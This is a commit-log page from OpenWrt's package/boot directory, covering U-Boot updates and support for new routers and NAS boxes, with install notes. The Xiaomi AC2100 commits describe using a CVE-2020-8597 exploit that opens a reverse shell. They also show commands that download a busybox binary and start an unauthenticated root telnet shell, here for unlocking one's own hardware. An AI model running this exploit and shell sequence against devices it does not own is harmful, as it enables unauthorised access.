aboutsummaryrefslogtreecommitdiffstats
path: root/package/boot
Commit message (Collapse)AuthorAgeFilesLines
* ath79: add support for Arduino YunSungbo Eo2020-07-081-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Arduino Yun is a microcontroller development board, based on Atmel ATmega32u4 and Atheros AR9331. Specifications: - MCU: ATmega32U4 - SoC: AR9331 - RAM: DDR2 64MB - Flash: SPI NOR 16MB - WiFi: - 2.4GHz: SoC internal - Ethernet: 1x 10/100Mbps - USB: 1x 2.0 - MicroSD: 1x SDHC Notes: - Stock firmware is based on OpenWrt AA. - The SoC UART can be accessed only through the MCU. YunSerialTerminal is recommended for access to serial console. - Stock firmware uses non-standard 250000 baudrate by default. - The MCU can be reprogrammed from the SoC with avrdude linuxgpio. Installation: 1. Update U-Boot environment variables to adapt to new partition scheme. > setenv bootcmd "run addboard; run addtty; run addparts; run addrootfs; bootm 0x9f050000 || bootm 0x9fea0000" > setenv mtdparts "spi0.0:256k(u-boot)ro,64k(u-boot-env),15936k(firmware),64k(nvram),64k(art)ro" > saveenv 2. Boot into stock firmware normally and perform sysupgrade with sysupgrade image. # sysupgrade -n -F /tmp/sysupgrade.bin Signed-off-by: Sungbo Eo <mans0n@gorani.run>
* mediatek: add SD card image creation for Banana Pi R2David Woodhouse2020-07-081-1/+2
| | | | | | Based on work by Alexey Loukianov <lx2@lexa2.ru> and others. Signed-off-by: David Woodhouse <dwmw2@infradead.org>
* mediatek: use U-Boot FAT environment support for Banana Pi R2David Woodhouse2020-07-082-2/+93
| | | | | | | | | | Instead of building in a default environment which loads our environment from the FAT partition.... just ask U-Boot to do it. Submitted upstream at https://patchwork.ozlabs.org/project/uboot/list/?series=184688 Signed-off-by: David Woodhouse <dwmw2@infradead.org>
* mediatek: fix U-Boot pinctrl setup for mt7623 eMMCDavid Woodhouse2020-07-081-0/+236
| | | | | | | | | | The U-Boot pinctrl driver for mt7623 was incomplete and didn't handle the settings required for eMMC to work. Submitted upstream at https://patchwork.ozlabs.org/project/uboot/list/?series=184529 Signed-off-by: David Woodhouse <dwmw2@infradead.org>
* mediatek: add mt7623 u-boot build for Banana Pi R2David Woodhouse2020-07-082-1/+22
| | | | | | | For building full SD/eMMC images for Banana Pi R2 we'll want a u-boot image built for that platform. Signed-off-by: David Woodhouse <dwmw2@infradead.org>
* mediatek: new mt7623n preloader package for Banana PiDavid Woodhouse2020-07-081-0/+61
| | | | | | | | | | | Download the boot preloader code from the Banana Pi github repo and make it available for bootable SD card image creation. Supports only Banana Pi R2 for now. Based on work by Alexey Loukianov <lx2@lexa2.ru> and others. Signed-off-by: David Woodhouse <dwmw2@infradead.org>
* ipq806x: add support for Linksys EA7500 V1Pawel Dembicki2020-07-081-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for the Linksys EA7500 V1 router. Specification: - CPU: Qualcomm IPQ8064 - RAM: 256MB - Flash: NAND 128MB - WiFi: QCA9982 an+ac + QCA9983 bgn - Ethernet: 5 GBE Ports (WAN+ 4xLAN) (QCA8337) - USB: 1x USB 3.0 1x USB2.0 - Serial console: RJ-45 115200 8n1 (1V8 Voltage level) - 2 Buttons - 1 LED Known issues: - Some devices won't flash via web gui Installation: - Newer stock images doesn't allow to install custom firmware. - Please downgrade software to 1.1.2 version. Official firmware: https://downloads.linksys.com/downloads/firmware/FW_EA7500_1.1.2.172843_prod.gpg.img - Do it two times to downgrade all stored images. - Apply factory image via web-gui. Serial + TFTP method: - downgrade to 1.1.2 two times - connect ehternet and serial cable - set ip address of tftp server to 192.168.1.254 - put openwrt factory image to tftp folder and rename it to macan.bin - stop device while booting in u-boot - run command: "run flashimg" - run command: "setenv boot_part 1" - run command "saveenv" - reset Back to stock: - Please use old non-gpg image like this 1.1.2: https://downloads.linksys.com/downloads/firmware/FW_EA7500_1.1.2.172843_prod.img - ssh to router and copy image to tmp - use sysupgrade -n -F Tested by github users: @jack338c and @grzesiczek1 Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com> [removed i2c4_pins, mdio0_pins, nand_pins, rgmii2_pins from DTSI] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ipq40xx: add support for Buffalo WTR-M2133HPYanase Yuki2020-07-081-0/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Buffalo WTR-M2133HP is a Tri-Band router based on IPQ4019. Specification ------------- - SoC: Qualcomm IPQ4019 - RAM: 512MiB - Flash Memory: NAND 128MiB (MXIC MX30LF1G18AC) - Wi-Fi: Qualcomm IPQ4019 (2.4GHz, 1ch - 13ch) - Wi-Fi: Qualcomm IPQ4019 (5GHz, 36ch - 64ch) - Wi-Fi: Qualcomm QCA9984 (2T2R, 5GHz, 100ch - 140ch) - Ethernet: 4x 10/100/1000 Mbps (1x WAN, 3x LAN) - LED: 4x white LED, 4x orange LED, 1x blue LED - USB: 1x USB 3.0 port - Input: 2x tactile switch, 2x slide switch (2x SP3T) - Serial console: 115200bps, pinheader JP5 on PCB - Power: DC 12V 2A Flash instruction ----------------- 1. Set up a TFTP server (IP address: 192.168.11.10) 2. Rename "initramfs-fit-uImage.itb" to "WTR-M2133HP-initramfs.uImage" and put it into the TFTP server directory. 3. Connect the TFTP server and WTR-M2133HP. 4. Hold down the AOSS button, then power on the router. 5. After booting OpenWrt initramfs image, connect to the router by SSH. 6. Transfer "squashfs-nand-factory.ubi" to the router. 7. Execute the following commands. # ubidetach -p /dev/mtd15 # ubiformat /dev/mtd15 -f /tmp/openwrt-ipq40xx-generic-buffalo_wtr-m2133hp-squashfs-nand-factory.ubi # fw_setenv bootcmd bootipq 8. Perform reboot. Recover to stock firmware ------------------------- 1. Execute the following command. # fw_setenv bootcmd bootbf 2. Reboot and wait several minutes. Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
* kirkwood: add support for Zyxel NSA310SPawel Dembicki2020-07-081-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Zyxel NSA310S is a NAS based on Marvell kirkwood SoC. Specification: - Processor Marvell 88F6702 1 GHz - 256MB RAM - 128MB NAND - 1x GBE LAN port (PHY: Marvell 88E1318) - 2x USB 2.0 - 1x SATA - 3x button - 7x leds - serial on J1 connector (115200 8N1) (GND-NOPIN-RX-TX-VCC) Known issues: - no kernel module for RTC. [*] - buzzer (connected to MPP43) need to be drived by 1kHz signal - no kernel module for internal MCU connected via I2C[**] [*] Karoly Pocsi made simple, unofficial driver for HT1382. It can be found here: https://www.madadmin.com/zyxel-nsa320s-es-debian-linux-4-resz/ [**] Karoly Pocsi found how CPU talk with MCU: It is possible to query the MCU-controlled fan speed and temperature: i2cget -y 0x0 0x0a 0x07 i2cget -y 0x0 0x0a 0x08 The first value (0x07) is the temperature in ° C, the second (0x08) is the time in milliseconds to complete one fan revolution (rpm = 60,000 / value). Info translated from: https://www.madadmin.com/zyxel-nsa320s-es-debian-linux-4-resz/ Installation: TFTP: 1. Run serial console and go to u-boot. 2. Copy u-boot via tftp and write to NAND: => mw 0x0800000 0xffff 0x100000 => nand erase 0x0 100000 => setenv ipaddr 192.168.1.2 => setenv serverip 192.168.1.4 => tftp 0x0800000 nsa310s-u-boot.kwb => nand write 0x0800000 0x0 0x100000 => reset 3. Run new u-Boot, repair bootcmd and restore MAC address from sticker => setenv ethaddr AA:BB:CC:DD:EE:FF => saveenv 4. Copy and run initramfs image => setenv ipaddr 192.168.1.2 => setenv serverip 192.168.1.4 => tftpboot zyxel_nsa310s-initramfs-uImage => bootm 0x800000 5. Download sysupgrade image and perform sysupgrade USB: 1. Prepare usb fat32 drive with u-boot.kwb and initramfs image. Stick it to USB 2.0 port. 2. Run serial console and go to u-boot. 3. Copy u-boot from usb and write to NAND: => mw 0x0800000 0xffff 0x100000 => nand erase 0x0 100000 => usb start => fatload usb 0 0x0800000 u-boot.kwb => nand write 0x0800000 0x0 0x100000 => reset 4. Run new u-Boot, repair bootcmd and restore MAC address from sticker => setenv ethaddr AA:BB:CC:DD:EE:FF => saveenv 5. Copy and run initramfs image: => usb start => fatload usb 0 0x0800000 initramfs-uImage => bootm 0x800000 6. Download sysupgrade image and perform sysupgrade. Based on work ThBexx <thomas.beckler@hotmail.com> DTS based on dropped support in 0ebdf0c. Tested-by: Lech Perczak <lech.perczak@gmail.com> Reviewed-by: Lech Perczak <lech.perczak@gmail.com> Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com> [NSA310s -> NSA310S in DEVICE_MODEL] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-kirkwood: add support for Zyxel NSA310SPawel Dembicki2020-07-083-0/+80
| | | | | | | This patch modifies the u-boot config for the Zyxel NSA310S to work with OpenWrt. Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* ramips: Add support for Xiaomi Mi Router(Black,R2100)Emir Efe Kucuk2020-07-081-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many characteristics (apart from its looks and the GPIO ports) with the 6-antenna *white* "Xiaomi Redmi Router AC2100" See the visual comparison of the two routers here: https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg Specification of R2100: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN in Yellow and Blue - UART: On board (Don't know where is should be confirmed by anybody else) - Modified u-boot Hacking of official firmware process is same at both RM2100 and R2100. Thanks to @namidairo Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide Guide is written for MacOS but it will work at linux. needed packages: python3(with scapy), netcat, http server, telnet client 1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware 2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0 other than these I specified in here. Everything is same with: https://github.com/openwrt/openwrt/commit/f3792690c4f0567a8965d82898295b9d50c3bb7e Thanks for all community and especially for this device: @Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com) MAC Locations: WAN *:b5 = factory 0xe006 LAN *:b6 = factory 0xe000 WIFI 5ghz *:b8 = factory 0x8004 WIFI 2.4ghz *:b7 = factory 0x0004 Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com> [refactored common image bits into Device/xiaomi-ac2100, fixed From:] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* ramips: add support for RAVPower RP-WD009David Bauer2020-06-292-0/+324
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The RAVPower RP-WD009 is a batter-powered pocket sized router with SD card lot and USB port. Hardware -------- CPU: MediaTek MT7628AN RAM: 64M DDR2 FLASH: 16M GigaDevices SPI-NOR WLAN: MediaTek MT7628AN 2T2R b/g/n MediaTek MT7610E 1T1R n/ac ETH: 1x FastEthernet SD: SD Card slot USB: USB 2.0 Custom PMIC on the I2C bus (address 0x0a). Installation ------------ 1. Press and hold down the reset button. 2. Power up the Device. Keep pressing the reset button for 10 more seconds until the Globe LED lights up. 3. Attach your Computer to the Ethernet port. Assign yourself the address 10.10.10.1/24. 4. Access the recovery page at 10.10.10.128 and upload the OpenWrt factory image. 5. The flashing will take around 1 minute. The device will reboot automatically into OpenWrt. Signed-off-by: David Bauer <mail@david-bauer.net>
* uboot-kirkwood: Revert "uboot-kirkwood: enable sata in nsa310 uboot"Hauke Mehrtens2020-06-271-3/+1
| | | | | | | | | | | This reverts commit 930f3c014821df423507c878415c7fb4910a454d. The build fails with the following build error: arm-openwrt-linux-muslgnueabi-ld.bfd: drivers/built-in.o: in function `ide_init': build_dir/target-arm_xscale_musl_eabi/u-boot-nsa310/u-boot-2020.04/drivers/block/ide.c:750: undefined reference to `ide_preinit' make[4]: *** [Makefile:1700: u-boot] Error 1 Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
* uboot-kirkwood: enable sata in nsa310 ubootAlberto Bursi2020-06-271-1/+3
| | | | | | | | | | | | | | | | the uboot of nsa310 cannot use the network chip as it is a realtek on the PCIe lanes and not a Marvell ethernet from the SoC. Therefore tftp is not possible on this device and the only way to install is by loading files from a USB drive. If the USB subsystem is dead there is no way to install OpenWrt. Enable sata support and commands so it can be used as a fallback in case of USB issues. Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
* ath79: add support for the Netgear WNDRMAC v1Renaud Lepage2020-06-111-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Netgear WNDRMAC v1 is a hardware variant of the Netgear WNDR3700 v2 Specifications ============== * SoC: Atheros AR7161 * RAM: 64mb * Flash on board: 16mb * WiFi: Atheros AR9220 (a/n), Atheros AR9223 (b/g/n) * Ethernet: RealTek RTL8366SR (1xWAN, 4xLAN, Gigabit) * Power: 12 VDC, 2.5 A * Full specs on [openwrt.org](https://openwrt.org/toh/hwdata/netgear/netgear_wndrmac_v1) Flash Instructions ================== It is possible to use the OEM Upgrade page to install the `factory` variant of the firmware. After the initial upgrade, you will need to telnet into the router (default IP 192.168.1.1) to install anything. You may install LuCI this way. At this point, you will have a web interface to configure OpenWRT on the WNDRMAC v1. Please use the `sysupgrade` variant for subsequent flashes. Recovery Instructions ===================== A TFTP-based recovery flash is possible if the need arises. Please refer to the WNDR3700 page on openwrt.org for details. https://openwrt.org/toh/netgear/wndr3700#troubleshooting_and_recovery Signed-off-by: Renaud Lepage <root@cybikbase.com> [update DTSI include name] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* mvebu: rename Linksys devices based on their common namesPaul Spooren2020-06-051-6/+6
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Linksys devices in mvebu target feature a mixed naming, where parts are based on the official product name (device node, image; e.g. WRT3200ACM) and parts are based on the internal code name (DTS file name, compatible, LED labels; e.g. rango). This inconsistent naming has been perceived as quite confusing. A recent attempt by Paul Spooren to harmonize this naming in kernel has been declined there. However, for us it still makes sense to apply at least a part of these changes locally. Primarily, this patch changes the compatible in DTS and thus the board name used in various scripts to have them in line with the device, model and image names. Due to the recent switch from swconfig to DSA, this allows us to drop SUPPORTED_DEVICES and thus prevent seamless upgrade between these incompatible setups. However, this does not include the LED label rename from Paul's initial patch: I don't think it's worth keeping the enormous diff locally for this case, as we can implement this much easier in 01_leds if we have to live with the inconsistency anyway. Signed-off-by: Paul Spooren <mail@aparcar.org> [rebase, extend to all devices, drop DT LED changes] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* uboot-mxs: bump to v2020.04Michael Heimpold2020-06-032-34/+36
| | | | | | Also update the U-Boot BSP patch for I2SE Duckbill devices. Signed-off-by: Michael Heimpold <mhei@heimpold.de>
* packages/boot: remove rbcfgThibaut VARÈNE2020-05-286-1349/+0
| | | | | | | The new sysfs soft_config driver makes buggy rbcfg obsolete and entirely replaces it. Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
* uboot-envtools: ath79: add Netgear WNDR4300SWStijn Segers2020-05-261-1/+2
| | | | | | Add Netgear WNDR4300SW to the list of supported boards. Signed-off-by: Stijn Segers <foss@volatilesystems.org>
* ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)Richard Huynh2020-05-201-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
* ramips: add support for Linksys EA7500 v2Davide Fioravanti2020-05-171-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
* mvebu: uDPU: switch default kernel and U-Boot PHY modeJakov Petrina2020-05-091-0/+43
| | | | | | | | | | | | | | | | Certain SFP modules (most notably Nokia GPON ones) first check connectivity on 1000base-x, and switch to 2500base-x afterwards. This is considered a quirk so the phylink switches the interface to 2500base-x as well. However, after power-cycling the uDPU device, network interface/SFP module will not work correctly until the module is re-seated. This patch resolves this issue by forcing the interface to be brought up in 2500base-x mode by default. Signed-off-by: Jakov Petrina <jakov.petrina@sartura.hr> Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr> Cc: Luka Perkov <luka.perkov@sartura.hr>
* layerscape: update tfa to LSDK-20.04Yangbo Lu2020-05-072-70/+36
| | | | | | | | | | | | Update tfa package to latest LSDK-20.04 dropping one patch which had already been integrated. Add fixes, - Fix DEPENDS/PKG_BUILD_DEPENDS. - Remove HIDDEN:=1. - Move intermediate files installing into Build/InstallDev. Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
* layerscape: update u-boot to LSDK-20.04Yangbo Lu2020-05-0710-97/+9
| | | | | | | | Update u-boot package to latest LSDK-20.04 dropping patches which are no longer needed. Adapt u-boot bootargs to kernel 5.4 for booting. Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
* layerscape: define only one package for ls-rcwYangbo Lu2020-05-071-1/+1
| | | | | | | | | | We do not have to define package for each board, and consider variant's building/installing. It is easier to maintain ls-rcw with only one package installing all boards RCW binaries as intermediate files, each of which is just about hundreds of bytes. Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
* mediatek: add ubootJohn Crispin2020-05-045-0/+9876
| | | | Signed-off-by: John Crispin <john@phrozen.org>
* mvebu: tidy up support for GL.iNet GL-MV1000Adrian Schmutzler2020-04-271-3/+3
| | | | | | | | | | | | | | | | | This fixes a bunch of cosmetic issues with GL.iNet GL-MV1000: - apply alphabetic sorting in multiple files - use armada-3720 prefix for DTS like for other devices - fix vendor capitalization for model in DTSes - remove trivial comment in DTS files - use DEVICE_VENDOR/DEVICE_MODEL - remove redundant SUPPORTED_DEVICES - use SOC instead of DEVICE_DTS - remove empty line at EOF Fixes: 050c24f05c85 ("mvebu: add support for GL.iNet GL-MV1000") Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* mvebu: add support for GL.iNet GL-MV1000Li Zhang2020-04-261-0/+3
| | | | | | | | | | | | | | | | | | | | | | | | This patch adds supports for GL-MV1000. Specification: - SOC: Marvell Armada 88F3720 (1GHz) - Flash: 16MB (W25Q128FWSIG) - RAM: 1GB DDR4 - Ethernet: 3x GE (1 WAN + 2 LAN) - EMMC: 8GB EMMC (KLM8G1GETF-B041) - MicroSD: 1x microSD slot - USB: 1x USB 2.0 port(TypeA),1x USB 3.0 port(TypeC) - Button: 1x reset button,1x slide switch - LED: 3x greed LED - UART: 1x UART on PCB (JP1: 3.3V, RX, TX, GND) Update firmware instructions ============================ In the compiled,please gzip -d xxx.img.gz,then update firmware on uboot web. Signed-off-by: Li Zhang <li.zhang@gl-inet.com> [Copied dts file to files-5.4] Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
* uboot-envtools: fix domywifi_dw33d Bad CRC errorweidong jia2020-04-261-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | The current dw33d partition index has changed, this patch solves this problem. old partition layout dev: size erasesize name mtd0: 00040000 00010000 "u-boot" mtd1: 00010000 00010000 "u-boot-env" mtd2: 00fa0000 00010000 "oem-firmware" mtd3: 00010000 00010000 "art" mtd4: 00500000 00020000 "kernel" mtd5: 05b00000 00020000 "ubi" mtd6: 02000000 00020000 "oem-backup" new partition layout dev: size erasesize name mtd0: 00500000 00020000 "kernel" mtd1: 05b00000 00020000 "ubi" mtd2: 02000000 00020000 "oem-backup" mtd3: 00040000 00010000 "u-boot" mtd4: 00010000 00010000 "u-boot-env" mtd5: 00fa0000 00010000 "oem-firmware" mtd6: 00010000 00010000 "art" Signed-off-by: weidong jia <jwdsccd@gmail.com>
* uboot-envtools: update to 2020.04Lucian Cristian2020-04-261-7/+8
| | | | | | also revert to directly download the archive from https Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
* uboot-rockchip: fix ident stringPetr Štetiar2020-04-201-1/+1
| | | | | | | | Commit 797506011695 ("uboot-rockchip: add new package") has added `OpenWRT` ident string, fix it to proper `OpenWrt`. Fixes: 797506011695 ("uboot-rockchip: add new package") Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-rockchip: add new packageTobias Mädel2020-04-201-0/+57
| | | | | | | This package is needed for the rockchip target. Signed-off-by: Tobias Mädel <t.maedel@alfeld.de> Tested-by: Tobias Schramm <t.schramm@manjaro.org>
* arm-trusted-firmware-rockchip: add new packageTobias Mädel2020-04-201-0/+49
| | | | | | | | | This is needed to build the uboot-rockchip, needed for the rockchip target Signed-off-by: Tobias Mädel <t.maedel@alfeld.de> Tested-by: Tobias Schramm <t.schramm@manjaro.org> [replaced `mkdir -p` with INSTALL_DIR variable] Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-kirkwood: update to 2020.04Pawel Dembicki2020-04-2010-118/+101
| | | | | | | | | | | | | Update U-Boot to current 2020.04 release for kirkwood platform. Catch up with upstream and move some configuration options from the header files to the corresponding defconfig files. Compile tested: all devices Run tested: nsa310, pogoplugv4 Tested-by: Cezary Jackiewicz <cezary@eko.one.pl> [nsa310] Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
* rbcfg: Add missing mode to open callHauke Mehrtens2020-04-182-2/+2
| | | | | | | | | | | | | | | | | | | When open() is called with O_CREAT a 3. parameter has to be given with the file system permissions of the new file. Not giving this is an error, which results in a compile error with glibc. This fixes the following compile error with glibc: ---------------------------------------------------------------------- In file included from /include/fcntl.h:329, from main.c:18: In function 'open', inlined from 'rbcfg_update' at main.c:501:7: /include/bits/fcntl2.h:50:4: error: call to '__open_missing_mode' declared with attribute error: open with O_CREAT or O_TMPFILE in second argument needs 3 arguments __open_missing_mode (); ^~~~~~~~~~~~~~~~~~~~~~ Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
* uboot-sunxi: bump to 2020.04 relasePetr Štetiar2020-04-179-43/+14
| | | | | | | | | | | Refreshed patches, removed upstreamed patch: 260-configs-a64-olinuxino-emmc-add-eMMC-boot-part-config.patch Boot tested on a64-olinuxino-emmc. Cc: Zoltan HERPAI <wigyori@uid0.hu> Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-imx6: bump to 2020.04 releasePetr Štetiar2020-04-174-13/+11
| | | | | | | | | Refreshed all patches, run tested on apalis. Cc: Vladimir Vid <vladimir.vid@sartura.hr> Cc: Tim Harvey <tharvey@gateworks.com> Cc: Koen Vandeputte <koen.vandeputte@ncentric.com> Signed-off-by: Petr Štetiar <ynezz@true.cz>
* grub2: fix build when ASLR enabledKevin Darbyshire-Bryant2020-04-021-2/+3
| | | | | | | | | | | | | | Disable ASLR and filter '-fno-plt' from CFLAGS: solves building when ASLR enabled by basically disabling ASLR. Solves errors similar to: relocation R_X86_64_32S against `.rodata' can not be used when making a PIE object; recompile with -fPIE or module missing GLOBAL_OFFSET_TABLE Suggested-by: 李国 <uxgood.org@gmail.com> Acked-by: Petr Štetiar <ynezz@true.cz> Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
* grub2: make some change to add efi platform support李国2020-03-311-23/+51
| | | | | | | | 1.generate boot image at Package/install section 2.move boot image to $(STAGING_DIR_IMAGE)/grub2/ 3.add efi variant to support efi platform Signed-off-by: 李国 <uxgood.org@gmail.com>
* uboot-sunxi: a64: allow booting directly from eMMCPetr Štetiar2020-03-281-3/+5
| | | | | | | | | Current boot script uses hardcoded bootdevice, which allows booting from SD card only, so this patch allows booting directly from eMMC as well. While at it, replace fixed root device with more flexible UUID based probing, so from now on probing order of MMC device doesn't matter. Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-sunxi: add support for Olimex A64-Olinuxino eMMCPetr Štetiar2020-03-282-0/+38
| | | | | | | Adding U-Boot image for Olimex A64-Olinuxino eMMC, including patch which adds eMMC boot partition configuration commands. Signed-off-by: Petr Štetiar <ynezz@true.cz>
* uboot-sunxi: add support for Olimex A64-OlinuxinoPetr Štetiar2020-03-281-0/+9
